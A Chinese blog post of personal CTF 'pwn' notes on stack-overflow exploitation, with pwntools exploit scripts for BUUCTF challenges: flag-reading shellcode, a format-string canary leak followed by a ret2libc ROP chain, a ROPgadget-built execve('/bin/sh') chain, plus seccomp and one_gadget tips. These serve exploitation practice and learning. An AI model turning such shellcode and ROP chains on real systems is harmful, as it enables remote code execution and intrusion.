首页 > 其他分享 >[PWN之路]栈溢出那些事儿

[PWN之路]栈溢出那些事儿

时间:2023-07-27 15:23:41浏览次数:34  
标签:p64 eax 之路 ret p32 PWN 替换 溢出 lambda

前言

如果入门,想要学习栈溢出相关知识欢迎参考hash_hash的入门文章和我的集训wp,按照buuctf的题目一点一点做,不会的搜索到网上,并且及时在论坛发帖总结和交流。并且这里贴上一个不错的教程,我准备看看堆的,栈的应该也讲的不错。
https://www.bilibili.com/video/BV1Lg411x7YR/?spm_id_from=333.788&vd_source=6ebf6ec4787fcf8ce63c27bc330b3783

但是,此贴不适合新手查看,旨在记录一些有趣帅气的栈打法。

0x01 黑盾2023 秘密信息

亮点:

修改got表调用直接syscall,暗度陈仓
ret2csu,围魏救赵不要忘了mov call。
用read读数来控制rax从而调用system,借刀杀人

https://blog.csdn.net/weixin_52640415/article/details/130873740

这位师傅的评价是:刷题笨办法。

0x01.8 你的栈对齐有了解决方案

https://www.cnblogs.com/ZIKH26/articles/15996874.html

跳过一次push 或者加一个ret

0x02 手写shellcode的各种姿势

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './2'
#libcname = './libc.so.6'
p = process('./2')
p = remote('node4.buuoj.cn', 26921)
elf = ELF(procname)
#libc = ELF(libcname)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s, drop=True)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : p.sendafter(p, s)
sla = lambda p, s : p.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])

#shellcode = asm(shellcraft.sh())#直接生成sh

shellcode = shellcraft.open('flag')#手写函数参数模式
shellcode += shellcraft.read('rax','rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)
#shellcode = shellcraft.execve('/bin/sh\x00',0,0)
shellcode = (asm(shellcode))#转为字节码
#手写汇编模式'''
shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')
'''


print(shellcode, "is len ", len(shellcode))
if args.G:
    gdb.attach(p)
ru('\n')
add = int(ru(b'\n')[-14:-1],16)
add = add*16
print(hex(add))
sl(shellcode.ljust(0x68,b'\x90')+p64(add))
ia()

0x03 格式化字符串索引

bjdctf_2020_babyrop2

%7$p意为第七个参数用十六进制打印。


from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64')

p = process('./l3')
elf = ELF('./l3')
libc = ELF('./libc-2.23.so')
p = remote('node4.buuoj.cn', 29711)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(p)

rdi = 0x0000000000400993
readplt = 0x4004c0
rsir15 =0x00000000004006b1 # pop rsi ; pop r15 ; ret
ret = 0x00000000004005f9
mainplt = 0x400887
puts = 0x400610
w = 0x601018
sl(b'%7$p')
canary = ru('!')
canary = ru('!')
canary = ru('\n')
canary = int(ru('\n')[:-1],16)

print('canary is : ',hex(canary))
r1 = p64(rdi) + p64(w) + p64(puts) + p64(ret) + p64(mainplt)
pay = b'a'*0x18+p64(canary)+p64(0)+r1
sd(pay)

realputs = u64(p.recvuntil('\n')[-7:0].ljust(8,b'\0'))
realputs = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\0'))
print("okkkkkkkkkkkkk#ykkkkkkkkkk")
print(hex(realputs))

libcbase = realputs - libc.sym['puts']
print(hex(libcbase))

sys = libcbase + libc.sym['system']
print(hex(sys))
binsh = libcbase + 0x18cd57

r2 = p64(rdi)+p64(binsh)+p64(ret)+p64(sys)+p64(ret)+p64(mainplt)
pay = b'a'*0x18+p64(canary)+p64(0)+r2
sd(pay)

ia()

0x04 查看程序沙盒

seccomp-tools dump ./orw                                                                                                                                                
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

其中,沙盒要注意是return ALLOW还是return KILL,前者是只能用,后者是不能用。

0x05 inndy_rop与rop_chain

1.题目 inndy_rop

使用这个命令。
ROPgadget --binary l4 --ropchain 就会得到一个rop,只需要返回这个就行。
一开始得到这个:

p = b''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

注意有时候需要自己简化这个chain,否则输入过长无法利用成功。
我们要学习一下:

2.vim的批量替换

在 Vim 中进行批量替换内容,你可以使用 :s 命令(substitute 的缩写)。下面是一些常用的替换方法:

  1. 替换当前行的第一个匹配项:

    :s/要替换的内容/替换后的内容/
    
  2. 替换当前行所有匹配项:

    :s/要替换的内容/替换后的内容/g
    
  3. 替换指定范围内所有匹配项:

    :起始行号,结束行号s/要替换的内容/替换后的内容/g
    
  4. 替换整个文件中的所有匹配项:

    :%s/要替换的内容/替换后的内容/g
    
  5. 替换时忽略大小写:

    :%s/要替换的内容/替换后的内容/gi
    
  6. 提示确认每次替换:

    :%s/要替换的内容/替换后的内容/gc
    

以上命令中,s/ 表示替换操作的开始,g 表示全局替换,i 表示忽略大小写,c 表示每次替换时都要确认。

如果要进行批量替换并保存更改,可以在命令前加上 w 来写入文件。例如:

:w | %s/要替换的内容/替换后的内容/g | wq

3.exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64')

io = process('./l4')
elf = ELF('./l4')
libc = ELF('./libc-2.23.so')
#io = remote('node4.buuoj.cn', 27407)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

if args.G:
    gdb.attach(io,'b *0x8048893')
p=b'a'*(0xc+4)
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080b8016) # pop eax ; ret
p += b'/bin'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b8016) # pop eax ; ret
p += b'//sh'
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0805466b) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080de769) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x0806ecda) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x080492d3) # xor eax, eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0807a66f) # inc eax ; ret
p += p32(0x0806c943) # int 0x80
sl(p)
ia()

0x06 sh和call

注意32位里面,call函数的话就不用考虑返回地址了,因为call会自动把下一个压入栈中。
另外system('sh')也是可以提权的。

0x07 善于观察ida的参数

mrctf2020_easyoverflow

在这里插入图片描述
此题只需要覆盖v5即可。偏移是0x30。

还有一定要看可以变量的交叉引用

感觉后面的buu的栈题都挺花花……

0x08 找one gadget小技巧

加参数-l2可以查到更多one shot。
或者加--near function比如--near read可以找到和相关函数只差两个字节的oneshot,这样打通就更方便了,尤其是溢出字节不够的情况下。

标签:p64,eax,之路,ret,p32,PWN,替换,溢出,lambda
From: https://www.cnblogs.com/9man/p/17581897.html

相关文章

  • 学好Linux的必经之路
    学好Linux的必经之路学习动机的培养对于一个人学习习惯的形成有着重要的作用。当我们在学习某一个事物时,建立属于我们自己的学习方法,以此培养我们学习Linux系统的学习动机。当前,Linux系统属于热门的计算机操作系统,因此学习Linux显得重要起来。同时,学习Linux可以让我们在计算机领域......
  • 智能制造之路—从0开始打造一套轻量级MOM平台之基础平台搭建(Linux部署)
    一、前言前面我们选定了Admin.net来搭建我们的MOM快速开发平台,本章主要描述.NET6平台的Linux部署,以及记录搭建过程中坑。本次搭建我们选择某云的轻量应用服务器,系统选择CentOS7.6,数据库使用Mysql。参考配置如下: 二、搭建Linux管理工具系统搭建完毕,我们使用宝塔来管理linux......
  • kube-apiserver内存溢出问题调查及go tool pprof工具的使用
    问题描述测试集群三台master,每个master上面的kube-apiserver都频繁的重启。登录其中一台master,发现kube-apiserver的内存占用特别高,每次重启完后内存很快就飙到了20G左右,而且还有继续增长的趋势。因为默认kube-apiserver的静态pod是没有设置memeorylimit的,最终api-server会吃光......
  • 电机行业未来的发展之路
    未来电机的发展趋势主要有以下几个方面:高效能:未来电机将会越来越高效能,以更少的能源消耗产生更高的动力输出。这将通过使用新材料、新设计和新技术来实现,如使用更高级别的磁体和磁性材料、更高级别的轴承、更高级别的轴线等等。高性能:未来电机将会更高性能,以适应更高要求的应用场......
  • 大怨种的pwn的wp
    0x01pwnable_echo1军训几天加暑假的活frompwnimport*context(os='linux',arch='amd64',log_level='debug')#context(os='linux',arch='amd64')p=process('./l3')elf=ELF('./l3')libc=ELF(......
  • llvm pass pwn 入门学习
    llvmpasspwn入门学习对于没有学习过C++的人来说很不友好,仿佛让我回到学习java的时候(java烂的一批),各种包,函数,实现类,什么迭代器,红黑树什么的,看来抽点时间学习一下c++是有必要的环境说实话这个环境搞了两天,老是报Erroropening'LLVMHello.so':LLVMHello.so:cannotope......
  • N1nEmAn-2023集训wp&&后续pwn-wp
    week12022-12-28WP0x00T1reverse3前几天没注意到要发wp,现在补一下。最近在学汇编,pwn题没做新的了。想到之前了解到hws的pwn会考花指令,听hjx他们说那是re的内容,就特意去做了点re。题目来源是buuctf的reverse3。0x01wp第一步,查壳没壳,32位,准备丢ida第二步,反编译观察到......
  • Java程序员进阶之路----四阶段
    第一阶段:JavaSE全面深入的学系JavaSE课程,主要内容包括Java概述与环境搭建、基本语法、面向对象基础、接口、抽象类、常用类(Object/内部类/包装类/String等)、集合、算法和数据结构、异常、多线程、I/O框架、网络编程、JDK8新特性、JVM内存模型、反射、注解xml等。本阶段学......
  • pwnable_tw | start
    分析反汇编代码是两个系统调用:__int64start(){__int64result;//raxresult=0x3C00000003LL;__asm{int80h;LINUX-sys_writeint80h;LINUX-}returnresult;}来看汇编:.text:08048060public_start.text:08......
  • kernel-pwn之ret2dir利用技巧
    前言ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEP、SMAP等保护的绕过。全称为return-to-direct-mappedmemory,返回直接映射的内存。ret2dir在SMEP与SMAP等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr,如下图所示(图片来自论文)。......